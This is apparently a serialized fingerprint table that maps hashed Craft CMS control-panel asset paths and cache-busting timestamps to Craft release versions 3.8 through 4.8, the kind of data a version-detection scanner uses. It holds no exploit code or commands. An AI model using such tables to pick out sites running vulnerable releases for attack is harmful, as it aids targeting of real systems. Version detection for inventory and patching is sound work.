+9cpresources/991514df/jquery.mobile-events.js?v=1710974775 +4.5.11"3 +'cpresources/163c4c65/cp.js?v=1710965484 +3.8.12"5 +*cpresources/8b12ff66/axios.js?v=1710972854 +4.4.8"8 +-cpresources/c3c3d99d/velocity.js?v=1710979917 +4.7.0"8 +-cpresources/77f65b4b/images/icons/favicon.ico +3.9.5"> +2cpresources/79c722a1/iframeResizer.js?v=1710965642 +3.8.13"8 +,cpresources/a4f5c8b5/css/cp.css?v=1710967267 +3.9.10"2 +'cpresources/cda54040/d3.js?v=1710982756 +4.8.3"6 ++cpresources/fd23ff90/fabric.js?v=1710967808 +3.9.3"2 +'cpresources/492aefe3/cp.js?v=1710979017 +4.6.0"2 +'cpresources/82f9b8e5/d3.js?v=1710982426 +4.8.2"< +.cpresources/c0cfba10/jquery-ui.js?v=1710971601 + +4.4.16.1"6 ++cpresources/e8e75151/jquery.js?v=1710966908 +3.9.0"G +9cpresources/2874425b/jquery.mobile-events.js?v=1710969964 + +4.4.10.1"= +2cpresources/a6af7e9a/iframeResizer.js?v=1710967808 +3.9.3"= +2cpresources/c6c449f7/iframeResizer.js?v=1710982756 +4.8.3"A +6cpresources/492aefe3/images/icons/apple-touch-icon.png +4.6.0"A +6cpresources/de15f2d6/images/icons/apple-touch-icon.png +4.8.1"8 +-cpresources/3a39cc51/velocity.js?v=1710967808 +3.9.3"A +6cpresources/50f2ce1c/images/icons/apple-touch-icon.png +4.7.1"< +0cpresources/edbd83ab/xregexp-all.js?v=1710970396 +4.4.12": +.cpresources/433ef4d9/selectize.js?v=1710965007 +3.8.10"? +3cpresources/e85199bf/jquery.payment.js?v=1710971341 +4.4.16"A +6cpresources/88d63ae5/jquery.fileupload.js?v=1710972117 +4.4.6"> +3cpresources/1099012e/jquery.payment.js?v=1710982426 +4.8.2"3 +'cpresources/21cd3ef6/d3.js?v=1710965943 +3.8.15"; +/cpresources/d3db6577/css/login.css?v=1710974519 +4.5.10"B +7cpresources/db9f16e5/images/icons/safari-pinned-tab.svg +4.8.4"A +2cpresources/7cbe561/jquery.payment.js?v=1710979317 + 4.6.0-RC1"A +6cpresources/b807a218/images/icons/apple-touch-icon.png +4.5.0"7 ++cpresources/ee2d6641/fabric.js?v=1710967267 +3.9.10"8 +-cpresources/1e764d81/images/icons/favicon.ico +4.5.5"; +/cpresources/fb46243f/css/login.css?v=1710963448 +3.9.12"; +0cpresources/3c9c4a2a/picturefill.js?v=1710981785 +4.8.0"5 +*cpresources/4d9ea5c/fabric.js?v=1710979917 +4.7.0"> +3cpresources/312f31a5/jquery.payment.js?v=1710977517 +4.5.6"7 +,cpresources/120dc9c3/garnish.js?v=1710967088 +3.9.1"= +2cpresources/61337fde/iframeResizer.js?v=1710967088 +3.9.1"J +8cpresources/ff5674cc/css/tailwind_reset.css?v=1710973732 + 4.5.0-beta.1"2 +'cpresources/b97aae27/cp.js?v=1710977517 +4.5.6"5 +*cpresources/dd7e6141/login.js?v=1710976944 +4.5.4"< +*cpresources/c83a6200/axios.js?v=1710973732 + 4.5.0-beta.1"8 +,cpresources/353a71fc/css/cp.css?v=1710965795 +3.8.14"8 +,cpresources/1113543f/css/cp.css?v=1710974775 +4.5.11"E +9cpresources/c7701671/jquery.mobile-events.js?v=1710965007 +3.8.10"9 ++cpresources/84d170e1/fabric.js?v=1710975041 + +4.5.11.1"G + +2cpresources/e6a7c721/iframeResizer.js?v=1710975304 +4.5.12"8 ++cpresources/d0e1ad/images/icons/favicon.ico +4.7.2.1"9 +-cpresources/f7f3e8df/images/icons/favicon.ico +4.5.12"B +6cpresources/64267120/jquery.fileupload.js?v=1710975837 +4.5.14"7 +,cpresources/26d374e3/css/cp.css?v=1710976662 +4.5.3"A +6cpresources/7d448337/jquery.fileupload.js?v=1710972854 +4.4.8"H + +2cpresources/246e5e02/iframeResizer.js?v=1710965795 +3.8.14"8 +-cpresources/42b14812/images/icons/favicon.ico +4.4.6"5 +*cpresources/96b5243/jquery.js?v=1710982756 +4.8.3"6 +*cpresources/4227708a/login.js?v=1710975304 +4.5.12"7 ++cpresources/e499ad23/fabric.js?v=1710975837 +4.5.14"E +7cpresources/ce09de15/images/icons/safari-pinned-tab.svg + +4.5.11.1"6 +*cpresources/8a8cfbb7/images/icons/icon.svg +3.8.16"3 +'cpresources/45a3cbe2/d3.js?v=1710967447 +3.9.11"5 +*cpresources/4bc755ed/axios.js?v=1710968624 +3.9.5"A +6cpresources/8466365f/jquery.fileupload.js?v=1710979917 +4.7.0"B +7cpresources/aa08d017/images/icons/safari-pinned-tab.svg +4.7.4"? +3cpresources/da5ee475/jquery.payment.js?v=1710970396 +4.4.12"B +6cpresources/6220b36d/jquery.fileupload.js?v=1710965326 +3.8.11"9 +.cpresources/e79800e9/jquery-ui.js?v=1710966738 +3.8.9"9 +.cpresources/2aa78dc1/jquery-ui.js?v=1710980531 +4.7.2"C +6cpresources/d5728b7f/images/icons/apple-touch-icon.png +4.4.7.1"; +0cpresources/aa7808dd/picturefill.js?v=1710977229 +4.5.5"G + +2cpresources/9bd8d449/iframeResizer.js?v=1710966096 +3.8.16"> +3cpresources/dccd7e63/tailwind_reset.js?v=1710982756 +4.8.3": +.cpresources/b213597e/jquery-ui.js?v=1710974519 +4.5.10"B +7cpresources/26d374e3/images/icons/safari-pinned-tab.svg +4.5.3"5 +*cpresources/845d9fee/axios.js?v=1710968822 +3.9.6"7 ++cpresources/a2f70954/fabric.js?v=1710970181 +4.4.11"7 +,cpresources/4e0144a8/css/cp.css?v=1710979917 +4.7.0"D +2cpresources/e55f4358/iframeResizer.js?v=1710973732 + 4.5.0-beta.1"? +3cpresources/9946cbbd/jquery.payment.js?v=1710974775 +4.5.11"> +3cpresources/7c2ff268/css/selectize.css?v=1710967088 +3.9.1"9 +.cpresources/4ef9ea5a/selectize.js?v=1710972117 +4.4.6": +,cpresources/c2189b58/garnish.js?v=1710969964 + +4.4.10.1"7 +,cpresources/d6cbcfa1/garnish.js?v=1710978111 +4.5.7"; +0cpresources/e25d7e6a/xregexp-all.js?v=1710979615 +4.6.1"C +8cpresources/c7ce1887/css/tailwind_reset.css?v=1710976384 +4.5.2"2 +'cpresources/d6a626a4/d3.js?v=1710976384 +4.5.2"6 ++cpresources/c5603504/jquery.js?v=1710967626 +3.9.2"H + +2cpresources/96b2d591/iframeResizer.js?v=1710971845 +4.4.17"7 ++cpresources/bcf1e2c6/jquery.js?v=1710966254 +3.8.17"C +8cpresources/83cf171c/css/tailwind_reset.css?v=1710981785 +4.8.0"H + +0cpresources/7a079b49/picturefill.js?v=1710975041 + +4.5.11.1"G + +3cpresources/7bbef903/css/selectize.css?v=1710968624 +3.9.5"> +2cpresources/b5a1e74b/iframeResizer.js?v=1710967267 +3.9.10": +/cpresources/b17ae1e/xregexp-all.js?v=1710978111 +4.5.7"B +0cpresources/400529fa/picturefill.js?v=1710973732 + 4.5.0-beta.1"5 +'cpresources/d43cf85c/d3.js?v=1710975041 + +4.5.11.1"6 +*cpresources/3bf818bf/images/icons/icon.svg +3.8.15"; +0cpresources/cfb6d087/picturefill.js?v=1710968001 +3.9.4"6 ++cpresources/f82840a9/jquery.js?v=1710976662 +4.5.3": +,cpresources/76b987af/garnish.js?v=1710971601 + +4.4.16.1"8 +-cpresources/1b9cac2c/images/icons/favicon.ico +3.8.8"? +3cpresources/1a4e4c55/tailwind_reset.js?v=1710974775 +4.5.11"5 +*cpresources/a4fd900a/axios.js?v=1710982426 +4.8.2"B +7cpresources/944f96/jquery.mobile-events.js?v=1710981785 +4.8.0"D +9cpresources/f86110c0/jquery.mobile-events.js?v=1710967088 +3.9.1"E +9cpresources/26474337/jquery.mobile-events.js?v=1710975837 +4.5.14"3 +'cpresources/ff778e39/cp.js?v=1710970619 +4.4.13"9 +.cpresources/22fc931/css/login.css?v=1710967808 +3.9.3"> +3cpresources/93c933ae/jquery.payment.js?v=1710966571 +3.8.8"9 +-cpresources/e551906a/velocity.js?v=1710965642 +3.8.13"> +3cpresources/79c234f9/css/selectize.css?v=1710973100 +4.4.9"9 +.cpresources/3fcc06fd/selectize.js?v=1710966738 +3.8.9"9 +.cpresources/84daad3e/selectize.js?v=1710981785 +4.8.0"; +,cpresources/8f9e7ae3/css/cp.css?v=1710979317 + 4.6.0-RC1"< +*cpresources/f40b6ca6/images/icons/icon.svg + 4.5.0-beta.1"> +3cpresources/9623d203/jquery.payment.js?v=1710977229 +4.5.5": +.cpresources/3c3303fc/jquery-ui.js?v=1710970181 +4.4.11"> +3cpresources/fddf0933/jquery.payment.js?v=1710973100 +4.4.9"7 +*cpresources/964146dd/axios.js?v=1710977805 +4.5.6.1"> +3cpresources/3cf4c9c0/jquery.payment.js?v=1710978111 +4.5.7"B +6cpresources/ae4103d7/images/icons/apple-touch-icon.png +4.5.14"6 ++cpresources/c08d79cb/jquery.js?v=1710977229 +4.5.5"; +0cpresources/4ab56cc1/picturefill.js?v=1710980531 +4.7.2"H + +3cpresources/92296dc7/tailwind_reset.js?v=1710978720 +4.5.9"> +3cpresources/f2f38bd5/css/selectize.css?v=1710980531 +4.7.2"H + +3cpresources/2a9bd6ab/css/selectize.css?v=1710976662 +4.5.3"6 +*cpresources/73475837/axios.js?v=1710965007 +3.8.10"; +/cpresources/80eee9a9/css/login.css?v=1710965795 +3.8.14"> +3cpresources/be49fa99/jquery.payment.js?v=1710966908 +3.9.0"6 ++cpresources/1a2a60e8/fabric.js?v=1710980222 +4.7.1"= +2cpresources/ddc72f13/iframeResizer.js?v=1710976384 +4.5.2"< +0cpresources/3e82beeb/picturefill.js?v=1710966096 +3.8.16"B +7cpresources/cc9300ed/images/icons/safari-pinned-tab.svg +4.5.2"> +2cpresources/4ec2c255/iframeResizer.js?v=1710967447 +3.9.11": +/cpresources/f765d047/css/login.css?v=1710972117 +4.4.6": +.cpresources/5e43d9bf/selectize.js?v=1710970396 +4.4.12"5 +*cpresources/61da8890/axios.js?v=1710979615 +4.6.1"A +6cpresources/42b14812/images/icons/apple-touch-icon.png +4.4.6"7 +,cpresources/b9f58f06/garnish.js?v=1710983083 +4.8.4"A +6cpresources/f098a36d/jquery.fileupload.js?v=1710978421 +4.5.8"2 +'cpresources/60865911/cp.js?v=1710981151 +4.7.3"6 ++cpresources/9c4a7c58/jquery.js?v=1710972117 +4.4.6"2 +'cpresources/c420d49f/d3.js?v=1710982103 +4.8.1": +-cpresources/aa70487b/images/icons/favicon.ico +4.5.6.1"C +8cpresources/49ec5078/css/tailwind_reset.css?v=1710972117 +4.4.6"> +3cpresources/ae86eb61/jquery.payment.js?v=1710976662 +4.5.3"6 ++cpresources/5143afba/fabric.js?v=1710967626 +3.9.2"5 +*cpresources/492aefe3/images/icons/icon.svg +4.6.0"C +7cpresources/4e92bc6a/images/icons/safari-pinned-tab.svg +3.9.12"? +3cpresources/d7c37229/jquery.payment.js?v=1710967447 +3.9.11"A +6cpresources/6f0e28d3/images/icons/apple-touch-icon.png +4.4.7"; +0cpresources/854929c6/xregexp-all.js?v=1710978421 +4.5.8"9 +-cpresources/be3c4c1f/images/icons/favicon.ico +4.5.15"9 +.cpresources/cae3672/css/login.css?v=1710977517 +4.5.6"4 +)cpresources/dfc528b/axios.js?v=1710974255 +4.5.1"< +*cpresources/41dff4f3/login.js?v=1710973732 + 4.5.0-beta.1"5 +*cpresources/549bf7b2/axios.js?v=1710976944 +4.5.4"? +3cpresources/2ca05737/jquery.payment.js?v=1710967267 +3.9.10"B +6cpresources/620ad68c/images/icons/apple-touch-icon.png +3.8.17"A +6cpresources/88920f76/images/icons/apple-touch-icon.png +4.8.0"9 +.cpresources/e200c147/jquery-ui.js?v=1710966908 +3.9.0"7 +,cpresources/24bf952a/css/cp.css?v=1710966413 +3.8.7"H + +/cpresources/3a4ae2b6/css/login.css?v=1710979317 + 4.6.0-RC1"5 +*cpresources/854ba081/axios.js?v=1710977517 +4.5.6"J + +2cpresources/775bd2dc/iframeResizer.js?v=1710974519 +4.5.10"G + +3cpresources/3a54c753/css/selectize.css?v=1710966908 +3.9.0"G + +2cpresources/bd59c315/iframeResizer.js?v=1710975570 +4.5.13"9 +.cpresources/dbd8c441/selectize.js?v=1710982756 +4.8.3"? +3cpresources/b3ad873d/jquery.payment.js?v=1710965943 +3.8.15"7 ++cpresources/313587fd/fabric.js?v=1710971094 +4.4.15"D +9cpresources/c12caf03/jquery.mobile-events.js?v=1710979017 +4.6.0"> +3cpresources/4277f789/tailwind_reset.js?v=1710979017 +4.6.0"B +6cpresources/a86da47b/jquery.fileupload.js?v=1710966254 +3.8.17"> +3cpresources/30390eca/jquery.payment.js?v=1710968822 +3.9.6"6 ++cpresources/8310b27c/jquery.js?v=1710979615 +4.6.1"G + +0cpresources/147c47e7/picturefill.js?v=1710969964 + +4.4.10.1"5 +*cpresources/869e6e6/fabric.js?v=1710972117 +4.4.6"8 +,cpresources/74e6682/velocity.js?v=1710966096 +3.8.16"5 +*cpresources/b86c9148/images/icons/icon.svg +3.9.6"6 +*cpresources/6004063d/images/icons/icon.svg +4.4.16"C +8cpresources/d0c20e8f/css/tailwind_reset.css?v=1710983083 +4.8.4"6 +*cpresources/bf6704d6/login.js?v=1710970851 +4.4.14"; +0cpresources/d0b8d08f/xregexp-all.js?v=1710972364 +4.4.7"9 +.cpresources/17d40e64/selectize.js?v=1710966571 +3.8.8"; +-cpresources/99118379/velocity.js?v=1710971601 + +4.4.16.1"3 +'cpresources/a847c19a/cp.js?v=1710965326 +3.8.11"8 +-cpresources/ab11e9d6/velocity.js?v=1710976662 +4.5.3"> +3cpresources/c654db2a/jquery.payment.js?v=1710979917 +4.7.0"3 +'cpresources/bec0eefc/d3.js?v=1710967267 +3.9.10": +,cpresources/ac6347f6/garnish.js?v=1710975041 + +4.5.11.1": +/cpresources/fbd5dcfd/css/login.css?v=1710979917 +4.7.0"< +0cpresources/d725f503/xregexp-all.js?v=1710965642 +3.8.13"? +3cpresources/ea5f490e/jquery.payment.js?v=1710966254 +3.8.17"H + +3cpresources/bbb3f32c/css/selectize.css?v=1710967808 +3.9.3"5 +*cpresources/27aa0fe8/axios.js?v=1710967626 +3.9.2"2 +'cpresources/a259b701/d3.js?v=1710968822 +3.9.6": +.cpresources/86c459ff/selectize.js?v=1710966096 +3.8.16"; +0cpresources/8c325ce9/xregexp-all.js?v=1710966738 +3.8.9"6 +*cpresources/2d225a99/axios.js?v=1710974775 +4.5.11"B +6cpresources/914522df/images/icons/apple-touch-icon.png +4.4.10"H + +3cpresources/dbd8c441/css/selectize.css?v=1710982756 +4.8.3"> +3cpresources/f3ed0a59/jquery.payment.js?v=1710968001 +3.9.4"B +6cpresources/1113543f/images/icons/apple-touch-icon.png +4.5.11"3 +'cpresources/6004063d/cp.js?v=1710971341 +4.4.16"I +7cpresources/641de354/images/icons/safari-pinned-tab.svg + 4.5.0-beta.2"8 +-cpresources/ed44c424/velocity.js?v=1710981151 +4.7.3"; +0cpresources/6f9153b9/picturefill.js?v=1710983083 +4.8.4"A +6cpresources/cc9300ed/images/icons/apple-touch-icon.png +4.5.2"2 +'cpresources/7bb895db/cp.js?v=1710968001 +3.9.4"7 +,cpresources/d591c887/garnish.js?v=1710967808 +3.9.3"? +3cpresources/64dbaf17/css/selectize.css?v=1710965642 +3.8.13"A +6cpresources/11f86412/jquery.fileupload.js?v=1710983083 +4.8.4"B +6cpresources/6004063d/images/icons/apple-touch-icon.png +4.4.16"B +7cpresources/6f0e28d3/images/icons/safari-pinned-tab.svg +4.4.7"6 +*cpresources/63a7e30d/axios.js?v=1710967447 +3.9.11"6 ++cpresources/fe79f8b6/fabric.js?v=1710978111 +4.5.7"5 +'cpresources/ce09de15/cp.js?v=1710975041 + +4.5.11.1"> +2cpresources/af6863e1/iframeResizer.js?v=1710976110 +4.5.15"; +/cpresources/d5d09e68/css/login.css?v=1710971341 +4.4.16"= +/cpresources/f60d0c62/css/login.css?v=1710965176 + +3.8.10.2"G + +3cpresources/63f7e17e/tailwind_reset.js?v=1710976944 +4.5.4"9 +.cpresources/123eefc9/selectize.js?v=1710977229 +4.5.5"5 +*cpresources/42b14812/images/icons/icon.svg +4.4.6"; +0cpresources/99658cbf/xregexp-all.js?v=1710976662 +4.5.3"= +0cpresources/6ac47323/xregexp-all.js?v=1710972607 +4.4.7.1"9 +*cpresources/b3af7445/axios.js?v=1710979317 + 4.6.0-RC1"5 +*cpresources/1b9b014e/images/icons/icon.svg +3.9.2"5 +*cpresources/68aaf914/images/icons/icon.svg +4.5.4"5 +*cpresources/de15f2d6/images/icons/icon.svg +4.8.1"9 +-cpresources/a4f5c8b5/images/icons/favicon.ico +3.9.10"9 +.cpresources/45624dab/selectize.js?v=1710979017 +4.6.0": +.cpresources/1d5bf677/selectize.js?v=1710974775 +4.5.11"C +7cpresources/520b7bf7/images/icons/safari-pinned-tab.svg +4.4.12"= +2cpresources/79fed6ea/iframeResizer.js?v=1710976944 +4.5.4"> +3cpresources/83cf171c/tailwind_reset.js?v=1710981785 +4.8.0"A +6cpresources/1b9b014e/images/icons/apple-touch-icon.png +3.9.2"E +9cpresources/e80246dd/jquery.mobile-events.js?v=1710971341 +4.4.16"7 +*cpresources/e94385d9/axios.js?v=1710972607 +4.4.7.1": +.cpresources/1a74ee2d/selectize.js?v=1710965484 +3.8.12"> +3cpresources/bb6b5388/css/selectize.css?v=1710972854 +4.4.8"7 ++cpresources/b6683915/jquery.js?v=1710965642 +3.8.13": +.cpresources/fbbb4a97/selectize.js?v=1710975304 +4.5.12"< +0cpresources/d201b87e/picturefill.js?v=1710974519 +4.5.10"; +,cpresources/edf4e300/garnish.js?v=1710979317 + 4.6.0-RC1"8 +-cpresources/6f0e28d3/images/icons/favicon.ico +4.4.7"D +6cpresources/14d31e4c/images/icons/apple-touch-icon.png + +4.4.16.1"6 +*cpresources/98c4c613/axios.js?v=1710967267 +3.9.10"H +6cpresources/3e6c1e51/jquery.fileupload.js?v=1710973732 + 4.5.0-beta.1"9 ++cpresources/9d22a07d/jquery.js?v=1710965176 + +3.8.10.2"6 +*cpresources/19d974be/login.js?v=1710975570 +4.5.13"C +8cpresources/dccd7e63/css/tailwind_reset.css?v=1710982756 +4.8.3"A +6cpresources/b723f1c0/images/icons/apple-touch-icon.png +4.4.8": +.cpresources/7c5b65c6/jquery-ui.js?v=1710965326 +3.8.11"3 +'cpresources/783ff0c5/d3.js?v=1710966254 +3.8.17"7 ++cpresources/4fbe1695/jquery.js?v=1710969750 +4.4.10"9 +.cpresources/5cba6c54/selectize.js?v=1710980222 +4.7.1"3 +'cpresources/72a62b16/d3.js?v=1710965642 +3.8.13"9 +-cpresources/dfc9e6c2/velocity.js?v=1710970396 +4.4.12"? +2cpresources/c426a481/iframeResizer.js?v=1710972607 +4.4.7.1"2 +'cpresources/db9f16e5/cp.js?v=1710983083 +4.8.4"= +2cpresources/6aecba25/iframeResizer.js?v=1710968001 +3.9.4"5 +*cpresources/49bb9817/axios.js?v=1710973100 +4.4.9"5 +*cpresources/b4a15642/images/icons/icon.svg +4.5.7"3 +'cpresources/b272e7d3/d3.js?v=1710965326 +3.8.11"; +/cpresources/18ab443/xregexp-all.js?v=1710976109 +4.5.15": +/cpresources/dadab086/css/login.css?v=1710972364 +4.4.7": +,cpresources/a07202bb/css/cp.css?v=1710969964 + +4.4.10.1"; +0cpresources/9b096d76/xregexp-all.js?v=1710966413 +3.8.7"8 +-cpresources/1b9b014e/images/icons/favicon.ico +3.9.2"5 +*cpresources/9639deb1/axios.js?v=1710981466 +4.7.4"5 +*cpresources/1e764d81/images/icons/icon.svg +4.5.5"1 +&cpresources/1a98a65/d3.js?v=1710966571 +3.8.8": +.cpresources/b274ee57/selectize.js?v=1710976109 +4.5.15"9 +.cpresources/af131e/picturefill.js?v=1710978111 +4.5.7"A +6cpresources/34dc5b6a/jquery.fileupload.js?v=1710980531 +4.7.2"2 +'cpresources/26d374e3/cp.js?v=1710976662 +4.5.3"B +3cpresources/84c36289/tailwind_reset.js?v=1710979317 + 4.6.0-RC1"; +0cpresources/89aa9d47/xregexp-all.js?v=1710966908 +3.9.0"< +0cpresources/dfb2fe61/xregexp-all.js?v=1710971341 +4.4.16"6 ++cpresources/74f3e45d/jquery.js?v=1710981466 +4.7.4"2 +%cpresources/d0e1ad/cp.js?v=1710980839 +4.7.2.1"9 +,cpresources/62ba784e/garnish.js?v=1710980839 +4.7.2.1"8 +-cpresources/53d76fe3/velocity.js?v=1710982103 +4.8.1"7 +*cpresources/aa70487b/images/icons/icon.svg +4.5.6.1"= +0cpresources/617cce23/picturefill.js?v=1710972607 +4.4.7.1"> +,cpresources/9661f545/garnish.js?v=1710973732 + 4.5.0-beta.1"8 +,cpresources/3bf818bf/css/cp.css?v=1710965943 +3.8.15"G +9cpresources/9cd55eac/jquery.mobile-events.js?v=1710971601 + +4.4.16.1"9 +-cpresources/87e6fa6f/images/icons/favicon.ico +4.4.17"9 +.cpresources/2a9bd6ab/selectize.js?v=1710976662 +4.5.3"7 ++cpresources/b8f4c968/jquery.js?v=1710974519 +4.5.10"6 ++cpresources/67819a6d/jquery.js?v=1710977517 +4.5.6"? +3cpresources/1910bd5d/jquery.payment.js?v=1710969750 +4.4.10": ++cpresources/51654ea9/jquery.js?v=1710979317 + 4.6.0-RC1"4 +)cpresources/eec69c/jquery.js?v=1710982103 +4.8.1"> +3cpresources/f832cfa2/jquery.payment.js?v=1710967088 +3.9.1"; +0cpresources/85c31971/picturefill.js?v=1710974255 +4.5.1"K + +2cpresources/5e22796f/iframeResizer.js?v=1710965007 +3.8.10"J + +3cpresources/93ce9ecc/jquery.payment.js?v=1710967626 +3.9.2"8 +-cpresources/35c53f2d/velocity.js?v=1710973356 +4.5.0"7 +,cpresources/3f811fd5/garnish.js?v=1710979615 +4.6.1"2 +'cpresources/24bf952a/cp.js?v=1710966413 +3.8.7"5 +)cpresources/ab39c83/images/icons/icon.svg +4.4.14"G + +3cpresources/c0dba2a5/css/selectize.css?v=1710976384 +4.5.2"5 +*cpresources/50f2ce1c/images/icons/icon.svg +4.7.1"6 +*cpresources/5c35089b/axios.js?v=1710971341 +4.4.16"H + +3cpresources/bc7ee9aa/tailwind_reset.js?v=1710972854 +4.4.8"9 +-cpresources/620ad68c/images/icons/favicon.ico +3.8.17"9 +.cpresources/94843ce4/selectize.js?v=1710982426 +4.8.2"? +0cpresources/302882bf/xregexp-all.js?v=1710979317 + 4.6.0-RC1"3 +'cpresources/e82fa7a0/cp.js?v=1710970181 +4.4.11"= +2cpresources/27484ae5/iframeResizer.js?v=1710966908 +3.9.0"C +6cpresources/60173a8c/jquery.fileupload.js?v=1710977805 +4.5.6.1"8 +-cpresources/bbdef82e/velocity.js?v=1710966908 +3.9.0"5 +'cpresources/ba4724f2/d3.js?v=1710969964 + +4.4.10.1"> +3cpresources/b4243300/css/selectize.css?v=1710968822 +3.9.6"7 +,cpresources/79f635cf/garnish.js?v=1710966571 +3.8.8"B +7cpresources/7bb895db/images/icons/safari-pinned-tab.svg +3.9.4"6 +*cpresources/c346809f/axios.js?v=1710970619 +4.4.13"7 +,cpresources/b5faffea/garnish.js?v=1710982756 +4.8.3"B +7cpresources/68aaf914/images/icons/safari-pinned-tab.svg +4.5.4"8 +,cpresources/e58c638c/garnish.js?v=1710971845 +4.4.17": +.cpresources/be8d44a/css/login.css?v=1710976109 +4.5.15"9 +-cpresources/7bed2909/images/icons/favicon.ico +4.4.15"B +6cpresources/a847c19a/images/icons/apple-touch-icon.png +3.8.11"@ +3cpresources/de2f9315/tailwind_reset.js?v=1710972607 +4.4.7.1"9 +-cpresources/33fed12a/velocity.js?v=1710976109 +4.5.15"6 +*cpresources/4e92bc6a/images/icons/icon.svg +3.9.12"3 +'cpresources/8b700496/d3.js?v=1710969750 +4.4.10"9 +-cpresources/520b7bf7/images/icons/favicon.ico +4.4.12"5 +'cpresources/a07202bb/cp.js?v=1710969964 + +4.4.10.1"D +9cpresources/bb82e455/jquery.mobile-events.js?v=1710966738 +3.8.9"5 +*cpresources/24bf952a/images/icons/icon.svg +3.8.7"> +3cpresources/49ec5078/tailwind_reset.js?v=1710972117 +4.4.6"6 ++cpresources/c5679866/jquery.js?v=1710966571 +3.8.8"9 +.cpresources/bb6b5388/selectize.js?v=1710972854 +4.4.8"D +9cpresources/220e90f7/jquery.mobile-events.js?v=1710981466 +4.7.4"C +7cpresources/3bf818bf/images/icons/safari-pinned-tab.svg +3.8.15"= +2cpresources/66a274b5/iframeResizer.js?v=1710968624 +3.9.5"< +.cpresources/ac3aa0f3/selectize.js?v=1710969964 + +4.4.10.1"8 +,cpresources/dc56d5fc/garnish.js?v=1710976109 +4.5.15"D +8cpresources/70b03163/css/tailwind_reset.css?v=1710971094 +4.4.15"= +2cpresources/bb5cffe9/iframeResizer.js?v=1710981466 +4.7.4"? +3cpresources/70b03163/tailwind_reset.js?v=1710971094 +4.4.15"> +3cpresources/b44f0050/css/selectize.css?v=1710973356 +4.5.0"5 +*cpresources/db9f16e5/images/icons/icon.svg +4.8.4"D +9cpresources/96700d61/jquery.mobile-events.js?v=1710977229 +4.5.5"; +0cpresources/15be284b/xregexp-all.js?v=1710981466 +4.7.4"7 ++cpresources/d448a8c9/jquery.js?v=1710970851 +4.4.14": +/cpresources/d74eb7b/picturefill.js?v=1710977517 +4.5.6"9 +.cpresources/7bbef903/selectize.js?v=1710968624 +3.9.5"9 ++cpresources/eaaaac4f/fabric.js?v=1710969964 + +4.4.10.1"C +8cpresources/4277f789/css/tailwind_reset.css?v=1710979017 +4.6.0"8 +-cpresources/7bb895db/images/icons/favicon.ico +3.9.4"7 +,cpresources/19d20c38/garnish.js?v=1710968001 +3.9.4": +/cpresources/6bc16a83/css/login.css?v=1710982103 +4.8.1"8 +-cpresources/d0291b03/velocity.js?v=1710979615 +4.6.1": +/cpresources/c5b3c875/css/login.css?v=1710967088 +3.9.1"2 +'cpresources/b7fb5164/cp.js?v=1710967808 +3.9.3"C +7cpresources/7bed2909/images/icons/safari-pinned-tab.svg +4.4.15"E +9cpresources/1943623f/jquery.mobile-events.js?v=1710969750 +4.4.10"@ +3cpresources/88857e2f/jquery.payment.js?v=1710980839 +4.7.2.1"2 +'cpresources/5deb8636/cp.js?v=1710979615 +4.6.1"> +3cpresources/17d40e64/css/selectize.css?v=1710966571 +3.8.8"2 +'cpresources/6f0e28d3/cp.js?v=1710972364 +4.4.7"5 +*cpresources/3affd19a/images/icons/icon.svg +4.5.8"> +,cpresources/641de354/css/cp.css?v=1710973985 + 4.5.0-beta.2"? +3cpresources/7fa6775d/jquery.payment.js?v=1710975304 +4.5.12"E +9cpresources/7ff5a83f/jquery.mobile-events.js?v=1710975304 +4.5.12"? +3cpresources/ee5a62a0/jquery.payment.js?v=1710974519 +4.5.10"9 ++cpresources/7e8936f1/jquery.js?v=1710969964 + +4.4.10.1"D +9cpresources/f3bed53b/jquery.mobile-events.js?v=1710968001 +3.9.4"8 +-cpresources/70675020/images/icons/favicon.ico +3.9.1"; +/cpresources/bf6704d6/css/login.css?v=1710970851 +4.4.14"6 ++cpresources/f2df0cec/fabric.js?v=1710973356 +4.5.0"6 +*cpresources/a4c7cc6a/login.js?v=1710974775 +4.5.11"9 +-cpresources/1c87bfea/velocity.js?v=1710969750 +4.4.10"7 +*cpresources/1fa4d02e/login.js?v=1710977805 +4.5.6.1"5 +*cpresources/8bca5fc2/axios.js?v=1710967808 +3.9.3"? +0cpresources/3b903fbf/picturefill.js?v=1710979317 + 4.6.0-RC1"A +6cpresources/febb299d/images/icons/apple-touch-icon.png +4.7.2"8 +,cpresources/68930d5f/css/cp.css?v=1710965642 +3.8.13"C +8cpresources/f5e631f7/css/tailwind_reset.css?v=1710980531 +4.7.2"> +2cpresources/735ef972/iframeResizer.js?v=1710966254 +3.8.17": +.cpresources/b61672d0/jquery-ui.js?v=1710966254 +3.8.17"B +6cpresources/986c0900/jquery.fileupload.js?v=1710970396 +4.4.12"8 +-cpresources/b86c9148/images/icons/favicon.ico +3.9.6"6 +*cpresources/47dc27af/axios.js?v=1710971094 +4.4.15"< +0cpresources/43fdad83/picturefill.js?v=1710975304 +4.5.12"; +0cpresources/26c28df1/xregexp-all.js?v=1710978720 +4.5.9"8 ++cpresources/9faa258b/fabric.js?v=1710972607 +4.4.7.1"A +6cpresources/fc7b17ec/jquery.fileupload.js?v=1710966908 +3.9.0"; +-cpresources/ce09de15/images/icons/favicon.ico + +4.5.11.1"4 +)cpresources/fb5aa13/axios.js?v=1710966738 +3.8.9"2 +'cpresources/7ab37f58/d3.js?v=1710981151 +4.7.3"7 ++cpresources/2cd753d6/fabric.js?v=1710974519 +4.5.10"> +3cpresources/c17f7061/jquery.payment.js?v=1710979017 +4.6.0"B +7cpresources/de15f2d6/images/icons/safari-pinned-tab.svg +4.8.1"< +0cpresources/38500233/xregexp-all.js?v=1710971845 +4.4.17"9 +.cpresources/dd33a4d/css/login.css?v=1710973356 +4.5.0"C +7cpresources/8a8cfbb7/images/icons/safari-pinned-tab.svg +3.8.16"> +3cpresources/123eefc9/css/selectize.css?v=1710977229 +4.5.5"5 +*cpresources/ce6c0d8e/login.js?v=1710968001 +3.9.4"9 +.cpresources/c0dba2a5/selectize.js?v=1710976384 +4.5.2"6 +*cpresources/e7dfe3a2/login.js?v=1710970396 +4.4.12"9 +'cpresources/7e28c51d/d3.js?v=1710973985 + 4.5.0-beta.2"> +3cpresources/d8a7519e/jquery.payment.js?v=1710980222 +4.7.1"> +3cpresources/455c5cc2/tailwind_reset.js?v=1710979917 +4.7.0"8 +-cpresources/cc9300ed/images/icons/favicon.ico +4.5.2"; +/cpresources/faa2cec4/css/login.css?v=1710965007 +3.8.10"J + +3cpresources/3f766e42/jquery.payment.js?v=1710972854 +4.4.8"4 